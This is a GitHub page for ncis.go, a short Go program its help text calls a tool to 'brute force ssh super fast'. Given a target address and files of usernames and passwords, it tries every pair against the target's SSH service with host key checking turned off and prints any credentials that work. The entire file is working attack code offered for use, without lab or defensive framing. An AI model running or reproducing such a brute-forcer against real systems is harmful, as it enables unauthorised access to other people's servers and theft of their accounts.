-
Notifications
You must be signed in to change notification settings - Fork 1
/
ncis.go
113 lines (103 loc) · 2.57 KB
/
ncis.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
package main
import (
"bufio"
"fmt"
"io"
"os"
"strings"
"github.com/fatih/color"
"golang.org/x/crypto/ssh"
)
var (
version = "dev"
helpMsg = `Ncis - Brute force ssh super fast
Usage: ncis <target IP> <user list> <password list>
ncis [-v/--version | -h/--help]
<target IP> : the address to ssh into
<user list> : path to file with usernames on each line
<password list> : path to file with passwords on each line`
)
func main() {
// TODO: get wordlists from env vars so user does not have to type/remember paths
if len(os.Args) > 4 {
handleErrStr("too many arguments (>3)") // will accept ip addr, pass list and user list
fmt.Println(helpMsg)
return
}
if len(os.Args) == 1 {
fmt.Println(helpMsg)
return
}
if hasOption, _ := argsHaveOption("help", "h"); hasOption {
fmt.Println(helpMsg)
return
}
if hasOption, _ := argsHaveOption("version", "v"); hasOption {
fmt.Println("Ncis " + version)
return
}
userFile, err := os.Open(os.Args[2])
if err != nil {
handleErr(err)
return
}
passFile, err := os.Open(os.Args[3])
if err != nil {
handleErr(err)
return
}
bruteForceSSH(os.Args[1], userFile, passFile)
}
func bruteForceSSH(target string, userFile *os.File, passFile *os.File) {
if !strings.Contains(target, ":") {
target += ":22"
}
passFileScanner := bufio.NewScanner(passFile)
for passFileScanner.Scan() {
password := passFileScanner.Text()
_, err := userFile.Seek(0, io.SeekStart)
userFileScanner := bufio.NewScanner(userFile)
if err != nil {
handleErr(err)
return
}
for userFileScanner.Scan() {
user := userFileScanner.Text()
config := &ssh.ClientConfig{
User: user,
Auth: []ssh.AuthMethod{
ssh.Password(password),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(), //nolint //"Use of ssh InsecureIgnoreHostKey should be audited (gosec)"
}
_, err = ssh.Dial("tcp", target, config)
if err == nil {
fmt.Println(color.CyanString("Found credentials: ") + user + ":" + password)
return
}
fmt.Println(color.YellowString("Failed attempt: ") + user + ":" + password)
}
if err = userFileScanner.Err(); err != nil {
handleErr(err)
continue
}
}
if err := passFileScanner.Err(); err != nil {
handleErr(err)
//return
}
}
func argsHaveOption(long string, short string) (hasOption bool, foundAt int) {
for i, arg := range os.Args {
if arg == "--"+long || arg == "-"+short {
return true, i
}
}
return false, 0
}
func handleErr(err error) {
handleErrStr(err.Error())
}
func handleErrStr(str string) {
_, _ = fmt.Fprintln(os.Stderr, color.RedString("error: ")+str)
}